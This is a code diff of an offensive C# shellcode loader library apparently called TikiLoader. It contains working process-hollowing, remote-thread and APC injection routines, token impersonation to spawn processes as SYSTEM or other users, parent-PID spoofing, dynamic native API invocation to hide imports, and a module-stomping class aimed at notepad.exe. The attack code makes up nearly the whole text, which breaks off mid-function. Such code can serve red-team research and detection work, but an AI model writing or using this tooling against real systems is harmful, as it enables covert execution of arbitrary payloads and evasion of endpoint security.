byte[] tmp = null;
|
||||
|
||||
if (IntPtr.Size == 4)
|
||||
{
|
||||
p[i] = 0xb8;
|
||||
i++;
|
||||
var val = (Int32)dest;
|
||||
tmp = BitConverter.GetBytes(val);
|
||||
}
|
||||
else
|
||||
{
|
||||
p[i] = 0x48;
|
||||
i++;
|
||||
p[i] = 0xb8;
|
||||
i++;
|
||||
|
||||
var val = (Int64)dest;
|
||||
tmp = BitConverter.GetBytes(val);
|
||||
}
|
||||
|
||||
for (int j = 0; j < IntPtr.Size; j++)
|
||||
p[i + j] = tmp[j];
|
||||
|
||||
i += IntPtr.Size;
|
||||
p[i] = 0xff;
|
||||
i++;
|
||||
p[i] = 0xe0;
|
||||
i++;
|
||||
}
|
||||
|
||||
return new KeyValuePair<int, IntPtr>(i, ptr);
|
||||
}
|
||||
|
||||
private IntPtr GetEntryFromBuffer(byte[] buf)
|
||||
{
|
||||
IntPtr res = IntPtr.Zero;
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* p = buf)
|
||||
{
|
||||
uint e_lfanew_offset = *((uint*)(p + 0x3c));
|
||||
|
||||
byte* nthdr = (p + e_lfanew_offset);
|
||||
|
||||
byte* opthdr = (nthdr + 0x18);
|
||||
|
||||
ushort t = *((ushort*)opthdr);
|
||||
|
||||
byte* entry_ptr = (opthdr + 0x10);
|
||||
|
||||
var tmp = *((int*)entry_ptr);
|
||||
|
||||
rvaEntryOffset_ = (uint)tmp;
|
||||
|
||||
if (IntPtr.Size == 4)
|
||||
res = (IntPtr)(pModBase_.ToInt32() + tmp);
|
||||
else
|
||||
res = (IntPtr)(pModBase_.ToInt64() + tmp);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
pEntry_ = res;
|
||||
return res;
|
||||
}
|
||||
|
||||
private IntPtr FindEntry(IntPtr hProc)
|
||||
{
|
||||
var basicInfo = new PROCESS_BASIC_INFORMATION();
|
||||
uint tmp = 0;
|
||||
|
||||
var success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, (uint)(IntPtr.Size * 6), ref tmp);
|
||||
|
||||
IntPtr readLoc = IntPtr.Zero;
|
||||
var addrBuf = new byte[IntPtr.Size];
|
||||
if (IntPtr.Size == 4)
|
||||
{
|
||||
readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8);
|
||||
}
|
||||
else
|
||||
{
|
||||
readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16);
|
||||
}
|
||||
|
||||
IntPtr nRead = IntPtr.Zero;
|
||||
|
||||
ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead);
|
||||
|
||||
if (IntPtr.Size == 4)
|
||||
readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0));
|
||||
else
|
||||
readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
|
||||
|
||||
pModBase_ = readLoc;
|
||||
ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead);
|
||||
|
||||
return GetEntryFromBuffer(inner_);
|
||||
}
|
||||
|
||||
public void MapAndStart(PROCESS_INFORMATION pInfo)
|
||||
{
|
||||
var tmp = MapSection(pInfo.hProcess, MemoryProtection.ExecuteRead, IntPtr.Zero);
|
||||
|
||||
remotemap_ = tmp.Key;
|
||||
remotesize_ = tmp.Value;
|
||||
|
||||
var patch = BuildEntryPatch(tmp.Key);
|
||||
|
||||
try
|
||||
{
|
||||
var pSize = (IntPtr)patch.Key;
|
||||
IntPtr tPtr = new IntPtr();
|
||||
|
||||
WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value, pSize, out tPtr);
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (patch.Value != IntPtr.Zero)
|
||||
Marshal.FreeHGlobal(patch.Value);
|
||||
}
|
||||
|
||||
var tbuf = new byte[0x1000];
|
||||
var nRead = new IntPtr();
|
||||
|
||||
ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead);
|
||||
var res = ResumeThread(pInfo.hThread);
|
||||
}
|
||||
|
||||
private IntPtr GetBuffer()
|
||||
{
|
||||
return localmap_;
|
||||
}
|
||||
|
||||
~Hollower()
|
||||
{
|
||||
if (localmap_ != (IntPtr)0)
|
||||
ZwUnmapViewOfSection(section_, localmap_);
|
||||
}
|
||||
|
||||
public void Hollow(string binary, byte[] shellcode, int ppid)
|
||||
{
|
||||
var pinf = StartProcess(binary, ppid);
|
||||
|
||||
FindEntry(pinf.hProcess);
|
||||
CreateSection((uint)shellcode.Length);
|
||||
SetLocalSection((uint)shellcode.Length);
|
||||
CopyShellcode(shellcode);
|
||||
MapAndStart(pinf);
|
||||
CloseHandle(pinf.hThread);
|
||||
CloseHandle(pinf.hProcess);
|
||||
}
|
||||
|
||||
public void HollowWithoutPid(string binary, byte[] shellcode)
|
||||
{
|
||||
var pinf = StartProcessWOPid(binary);
|
||||
|
||||
FindEntry(pinf.hProcess);
|
||||
CreateSection((uint)shellcode.Length);
|
||||
SetLocalSection((uint)shellcode.Length);
|
||||
CopyShellcode(shellcode);
|
||||
MapAndStart(pinf);
|
||||
CloseHandle(pinf.hThread);
|
||||
CloseHandle(pinf.hProcess);
|
||||
}
|
||||
|
||||
public void HollowAs(string binary, byte[] shellcode, string domain, string username, string password)
|
||||
{
|
||||
var pinf = StartProcessAs(binary, domain, username, password);
|
||||
|
||||
FindEntry(pinf.hProcess);
|
||||
CreateSection((uint)shellcode.Length);
|
||||
SetLocalSection((uint)shellcode.Length);
|
||||
CopyShellcode(shellcode);
|
||||
MapAndStart(pinf);
|
||||
CloseHandle(pinf.hThread);
|
||||
CloseHandle(pinf.hProcess);
|
||||
}
|
||||
|
||||
public void HollowAsSystem(string binary, byte[] shellcode, int impersonationPid)
|
||||
{
|
||||
var pinf = StartProcessAsSystem(binary, impersonationPid);
|
||||
|
||||
FindEntry(pinf.hProcess);
|
||||
CreateSection((uint)shellcode.Length);
|
||||
SetLocalSection((uint)shellcode.Length);
|
||||
CopyShellcode(shellcode);
|
||||
MapAndStart(pinf);
|
||||
CloseHandle(pinf.hThread);
|
||||
CloseHandle(pinf.hProcess);
|
||||
}
|
||||
|
||||
public void HollowElevated(string binary, byte[] shellcode, int elevatedPid)
|
||||
{
|
||||
var pinf = StartElevatedProcess(binary, elevatedPid);
|
||||
|
||||
FindEntry(pinf.hProcess);
|
||||
CreateSection((uint)shellcode.Length);
|
||||
SetLocalSection((uint)shellcode.Length);
|
||||
CopyShellcode(shellcode);
|
||||
MapAndStart(pinf);
|
||||
CloseHandle(pinf.hThread);
|
||||
CloseHandle(pinf.hProcess);
|
||||
}
|
||||
|
||||
public Hollower()
|
||||
{
|
||||
section_ = new IntPtr();
|
||||
localmap_ = new IntPtr();
|
||||
remotemap_ = new IntPtr();
|
||||
localsize_ = new IntPtr();
|
||||
remotesize_ = new IntPtr();
|
||||
inner_ = new byte[0x1000];
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,113 +0,0 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
using static TikiLoader.Enums;
|
||||
using static TikiLoader.Structs;
|
||||
|
||||
namespace TikiLoader
|
||||
{
|
||||
public class Imports
|
||||
{
|
||||
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
public static extern int ZwCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref LARGE_INTEGER pMaxSize, MemoryProtection pageProt, AllocationType allocationAttribs, IntPtr hFile);
|
||||
|
||||
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
public static extern int ZwMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, AllocationType alloctype, MemoryProtection prot);
|
||||
|
||||
[DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
public static extern void GetSystemInfo(ref SYSTEM_INFO lpSysInfo);
|
||||
|
||||
[DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
public static extern void CloseHandle(IntPtr handle);
|
||||
|
||||
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
public static extern int ZwUnmapViewOfSection(IntPtr hSection, IntPtr address);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(string username, string domain, string password, LogonFlags logonFlags, string applicationName, string commandLine, CreationFlags creationFlags, uint environment, string currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
public static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
|
||||
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, MemoryProtection flNewProtect, out MemoryProtection lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern uint ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
|
||||
|
||||
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
|
||||
public static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
public static extern int ZwQueryInformationThread(IntPtr ThreadHandle, ThreadInformationClass ThreadInformationClass, ref THREAD_BASIC_INFORMATION ThreadInformation, int ThreadInformationLength, out int ReturnLength);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)]
|
||||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumWritten);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr OpenProcess(UInt32 processAccess, bool bInheritHandle, int processId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
|
||||
|
||||
[DllImport("shell32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern bool ShellExecuteEx(ref SHELLEXECUTEINFO lpExecInfo);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
public static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, ref IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
|
||||
public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpTokenAttributes, int ImpersonationLevel, int TokenType, ref IntPtr phNewToken);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
public static extern bool AllocateAndInitializeSid(ref SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, byte nSubAuthorityCount, int dwSubAuthority0, int dwSubAuthority1, int dwSubAuthority2, int dwSubAuthority3, int dwSubAuthority4, int dwSubAuthority5, int dwSubAuthority6, int dwSubAuthority7, ref IntPtr pSid);
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern int NtSetInformationToken(IntPtr TokenHandle, int TokenInformationClass, ref TOKEN_MANDATORY_LABEL TokenInformation, int TokenInformationLength);
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern int NtFilterToken(IntPtr TokenHandle, UInt32 Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken);
|
||||
|
||||
[DllImport("advapi32.dll")]
|
||||
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr GetCurrentThread();
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint GetLastError();
|
||||
}
|
||||
}
|
||||
@@ -1,143 +0,0 @@
|
||||
using System;
|
||||
|
||||
using static TikiLoader.Generic;
|
||||
using static TikiLoader.Imports;
|
||||
using static TikiLoader.Enums;
|
||||
|
||||
namespace TikiLoader
|
||||
{
|
||||
public class Injector
|
||||
{
|
||||
private static IntPtr AllocateVirtualMemory(IntPtr hProcess, uint length)
|
||||
{
|
||||
return VirtualAllocEx(hProcess, IntPtr.Zero, length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ReadWrite);
|
||||
}
|
||||
|
||||
private static bool WriteShellcode(IntPtr hProcess, IntPtr baseAddr, byte[] shellcode)
|
||||
{
|
||||
IntPtr written;
|
||||
return WriteProcessMemory(hProcess, baseAddr, shellcode, shellcode.Length, out written);
|
||||
}
|
||||
|
||||
private static bool ChangeVirtualMemory(IntPtr hProcess, IntPtr baseAddr, IntPtr shellcodeLength)
|
||||
{
|
||||
MemoryProtection oldProtect;
|
||||
return VirtualProtectEx(hProcess, baseAddr, shellcodeLength, MemoryProtection.ExecuteRead, out oldProtect);
|
||||
}
|
||||
|
||||
private static IntPtr ResumeTargetProcess(IntPtr hProcess, IntPtr baseAddr)
|
||||
{
|
||||
IntPtr threadId;
|
||||
return CreateRemoteThread(hProcess, IntPtr.Zero, 0, baseAddr, IntPtr.Zero, 0, out threadId);
|
||||
}
|
||||
|
||||
private static IntPtr QueueAPC(IntPtr baseAddr, IntPtr hThread)
|
||||
{
|
||||
return QueueUserAPC(baseAddr, hThread, IntPtr.Zero);
|
||||
}
|
||||
|
||||
private static uint ResumeTargetThread(IntPtr hThread)
|
||||
{
|
||||
return ResumeThread(hThread);
|
||||
}
|
||||
|
||||
// Create Remote Thread
|
||||
|
||||
public static void CRTInject(string binary, byte[] shellcode, int ppid)
|
||||
{
|
||||
var pinf = StartProcess(binary, ppid);
|
||||
var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length);
|
||||
WriteShellcode(pinf.hProcess, baseAddr, shellcode);
|
||||
ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length);
|
||||
ResumeTargetProcess(pinf.hProcess, baseAddr);
|
||||
}
|
||||
|
||||
public static void CRTInjectWithoutPid(string binary, byte[] shellcode)
|
||||
{
|
||||
var pinf = StartProcessWOPid(binary);
|
||||
var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length);
|
||||
WriteShellcode(pinf.hProcess, baseAddr, shellcode);
|
||||
ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length);
|
||||
ResumeTargetProcess(pinf.hProcess, baseAddr);
|
||||
}
|
||||
|
||||
public static void CRTInjectAs(string binary, string domain, string username, string password, byte[] shellcode)
|
||||
{
|
||||
var pinf = StartProcessAs(binary, domain, username, password);
|
||||
var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length);
|
||||
WriteShellcode(pinf.hProcess, baseAddr, shellcode);
|
||||
ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length);
|
||||
ResumeTargetProcess(pinf.hProcess, baseAddr);
|
||||
}
|
||||
|
||||
public static void CRTInjectAsSystem(string binary, int pidToDuplicate, byte[] shellcode)
|
||||
{
|
||||
var pinf = StartProcessAsSystem(binary, pidToDuplicate);
|
||||
var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length);
|
||||
WriteShellcode(pinf.hProcess, baseAddr, shellcode);
|
||||
ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length);
|
||||
ResumeTargetProcess(pinf.hProcess, baseAddr);
|
||||
}
|
||||
|
||||
public static void CRTInjectElevated(string binary, int elevatedPid, byte[] shellcode)
|
||||
{
|
||||
var pinf = StartElevatedProcess(binary, elevatedPid);
|
||||
var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length);
|
||||
WriteShellcode(pinf.hProcess, baseAddr, shellcode);
|
||||
ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length);
|
||||
ResumeTargetProcess(pinf.hProcess, baseAddr);
|
||||
}
|
||||
|
||||
// QueueUserAPC
|
||||
|
||||
public static void QUAPCInject(string binary, byte[] shellcode, int ppid)
|
||||
{
|
||||
var pinf = StartProcess(binary, ppid);
|
||||
var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length);
|
||||
WriteShellcode(pinf.hProcess, baseAddr, shellcode);
|
||||
ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length);
|
||||
QueueAPC(baseAddr, pinf.hThread);
|
||||
ResumeTargetThread(pinf.hThread);
|
||||
}
|
||||
|
||||
public static void QUAPCInjectWithoutPid(string binary, byte[] shellcode)
|
||||
{
|
||||
var pinf = StartProcessWOPid(binary);
|
||||
var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length);
|
||||
WriteShellcode(pinf.hProcess, baseAddr, shellcode);
|
||||
ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length);
|
||||
QueueAPC(baseAddr, pinf.hThread);
|
||||
ResumeTargetThread(pinf.hThread);
|
||||
}
|
||||
|
||||
public static void QUAPCInjectAs(string binary, string domain, string username, string password, byte[] shellcode)
|
||||
{
|
||||
var pinf = StartProcessAs(binary, domain, username, password);
|
||||
var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length);
|
||||
WriteShellcode(pinf.hProcess, baseAddr, shellcode);
|
||||
ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length);
|
||||
QueueAPC(baseAddr, pinf.hThread);
|
||||
ResumeTargetThread(pinf.hThread);
|
||||
}
|
||||
|
||||
public static void QUAPCInjectAsSystem(string binary, int pidToDuplicate, byte[] shellcode)
|
||||
{
|
||||
var pinf = StartProcessAsSystem(binary, pidToDuplicate);
|
||||
var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length);
|
||||
WriteShellcode(pinf.hProcess, baseAddr, shellcode);
|
||||
ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length);
|
||||
QueueAPC(baseAddr, pinf.hThread);
|
||||
ResumeTargetThread(pinf.hThread);
|
||||
}
|
||||
|
||||
public static void QUAPCInjectElevated(string binary, int elevatedPid, byte[] shellcode)
|
||||
{
|
||||
var pinf = StartElevatedProcess(binary, elevatedPid);
|
||||
var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length);
|
||||
WriteShellcode(pinf.hProcess, baseAddr, shellcode);
|
||||
ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length);
|
||||
QueueAPC(baseAddr, pinf.hThread);
|
||||
ResumeTargetThread(pinf.hThread);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TikiLoader
|
||||
{
|
||||
public static class Native
|
||||
{
|
||||
public static Data.Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess)
|
||||
{
|
||||
_ = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessBasicInformation, out var pProcInfo);
|
||||
return (Data.Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Data.Native.PROCESS_BASIC_INFORMATION));
|
||||
}
|
||||
|
||||
private static uint NtQueryInformationProcess(IntPtr hProcess, Data.Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo)
|
||||
{
|
||||
int processInformationLength;
|
||||
uint retLen = 0;
|
||||
|
||||
switch (processInfoClass)
|
||||
{
|
||||
case Data.Native.PROCESSINFOCLASS.ProcessBasicInformation:
|
||||
var pbi = new Data.Native.PROCESS_BASIC_INFORMATION();
|
||||
pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(pbi));
|
||||
RtlZeroMemory(pProcInfo, Marshal.SizeOf(pbi));
|
||||
Marshal.StructureToPtr(pbi, pProcInfo, true);
|
||||
processInformationLength = Marshal.SizeOf(pbi);
|
||||
break;
|
||||
|
||||
default:
|
||||
throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}");
|
||||
}
|
||||
|
||||
object[] parameters = { hProcess, processInfoClass, pProcInfo, processInformationLength, retLen };
|
||||
|
||||
var result = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtQueryInformationProcess", typeof(Delegates.NtQueryInformationProcess), ref parameters);
|
||||
pProcInfo = (IntPtr)parameters[2];
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private static void RtlZeroMemory(IntPtr destination, int length)
|
||||
{
|
||||
object[] parameters = { destination, length };
|
||||
Generic.DynamicApiInvoke("ntdll.dll", "RtlZeroMemory", typeof(Delegates.RtlZeroMemory), ref parameters);
|
||||
}
|
||||
|
||||
public static void RtlInitUnicodeString(ref Data.Native.UNICODE_STRING destinationString, [MarshalAs(UnmanagedType.LPWStr)] string sourceString)
|
||||
{
|
||||
object[] parameters = { destinationString, sourceString };
|
||||
Generic.DynamicApiInvoke("ntdll.dll", "RtlInitUnicodeString", typeof(Delegates.RtlInitUnicodeString), ref parameters);
|
||||
destinationString = (Data.Native.UNICODE_STRING)parameters[0];
|
||||
}
|
||||
|
||||
public static uint LdrLoadDll(IntPtr pathToFile, uint dwFlags, ref Data.Native.UNICODE_STRING moduleFileName, ref IntPtr moduleHandle)
|
||||
{
|
||||
object[] parameters = { pathToFile, dwFlags, moduleFileName, moduleHandle };
|
||||
var result = (uint)Generic.DynamicApiInvoke("ntdll.dll", "LdrLoadDll", typeof(Delegates.LdrLoadDll), ref parameters);
|
||||
|
||||
moduleHandle = (IntPtr)parameters[3];
|
||||
return result;
|
||||
}
|
||||
|
||||
public static IntPtr NtAllocateVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, IntPtr zeroBits, ref IntPtr regionSize, uint allocationType, uint protect)
|
||||
{
|
||||
object[] parameters = { processHandle, baseAddress, zeroBits, regionSize, allocationType, protect };
|
||||
_ = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtAllocateVirtualMemory", typeof(Delegates.NtAllocateVirtualMemory), ref parameters);
|
||||
|
||||
baseAddress = (IntPtr)parameters[1];
|
||||
return baseAddress;
|
||||
}
|
||||
|
||||
public static uint NtWriteVirtualMemory(IntPtr processHandle, IntPtr baseAddress, IntPtr buffer, uint bufferLength)
|
||||
{
|
||||
uint bytesWritten = 0;
|
||||
object[] parameters = { processHandle, baseAddress, buffer, bufferLength, bytesWritten };
|
||||
|
||||
_ = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtWriteVirtualMemory", typeof(Delegates.NtWriteVirtualMemory), ref parameters);
|
||||
bytesWritten = (uint)parameters[4];
|
||||
return bytesWritten;
|
||||
}
|
||||
|
||||
public static void NtFreeVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, ref IntPtr regionSize, uint freeType)
|
||||
{
|
||||
object[] parameters = { processHandle, baseAddress, regionSize, freeType };
|
||||
_ = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtFreeVirtualMemory", typeof(Delegates.NtFreeVirtualMemory), ref parameters);
|
||||
}
|
||||
|
||||
public static uint NtCreateThreadEx(ref IntPtr threadHandle, Data.Win32.WinNT.ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList)
|
||||
{
|
||||
object[] parameters = { threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits,
|
||||
sizeOfStack, maximumStackSize, attributeList };
|
||||
|
||||
var retValue = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtCreateThreadEx", typeof(Delegates.NtCreateThreadEx), ref parameters);
|
||||
threadHandle = (IntPtr)parameters[0];
|
||||
return retValue;
|
||||
}
|
||||
|
||||
public static uint NtProtectVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, ref IntPtr regionSize, uint newProtect)
|
||||
{
|
||||
uint oldProtect = 0;
|
||||
object[] parameters = { processHandle, baseAddress, regionSize, newProtect, oldProtect };
|
||||
|
||||
_ = (uint)Generic.DynamicApiInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(Delegates.NtProtectVirtualMemory), ref parameters);
|
||||
oldProtect = (uint)parameters[4];
|
||||
return oldProtect;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,306 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace TikiLoader
|
||||
{
|
||||
public class Stomper
|
||||
{
|
||||
public string BinaryPath { get; set; } = "C:\\Windows\\System32\\notepad.exe";
|
||||
public string WorkingDirectory { get; set; } = "C:\\Windows\\System32";
|
||||
public string ModuleName { get; set; } = "xpsservices.dll";
|
||||
public string ExportName { get; set; } = "DllCanUnloadNow";
|
||||
|
||||
public int ParentId { get; set; } = 0;
|
||||
public bool BlockDlls { get; set; } = false;
|
||||
|
||||
private bool Is64Bit => IntPtr.Size == 8;
|
||||
|
||||
public void Stomp(byte[] shellcode)
|
||||
{
|
||||
var pi = SpawnProcess();
|
||||
|
||||
if (!LoadModule(pi))
|
||||
throw new Exception("Failed to load module in process");
|
||||
|
||||
if (!WriteAndExecuteShellcode(pi, shellcode))
|
||||
throw new Exception("Failed to execute shellcode");
|
||||
}
|
||||
|
||||
private Data.Win32.Kernel32.PROCESS_INFORMATION SpawnProcess()
|
||||
{
|
||||
var startupInfoEx = new Data.Win32.Kernel32.STARTUPINFOEX();
|
||||
startupInfoEx.Startupinfo.cb = (uint)Marshal.SizeOf(startupInfoEx);
|
||||
startupInfoEx.Startupinfo.dwFlags = (uint)Data.Win32.Kernel32.STARTF.STARTF_USESHOWWINDOW;
|
||||
|
||||
var lpValue = Marshal.AllocHGlobal(IntPtr.Size);
|
||||
var lpSize = IntPtr.Zero;
|
||||
|
||||
var attributeCount = 0;
|
||||
if (ParentId != 0) attributeCount++;
|
||||
if (BlockDlls) attributeCount++;
|
||||
|
||||
// always false the first time, lpSize is given a value
|
||||
_ = Win32.InitializeProcThreadAttributeList(
|
||||
IntPtr.Zero,
|
||||
attributeCount,
|
||||
ref lpSize);
|
||||
|
||||
startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
|
||||
|
||||
// should be true this time
|
||||
var success = Win32.InitializeProcThreadAttributeList(
|
||||
startupInfoEx.lpAttributeList,
|
||||
attributeCount,
|
||||
ref lpSize);
|
||||
|
||||
if (!success)
|
||||
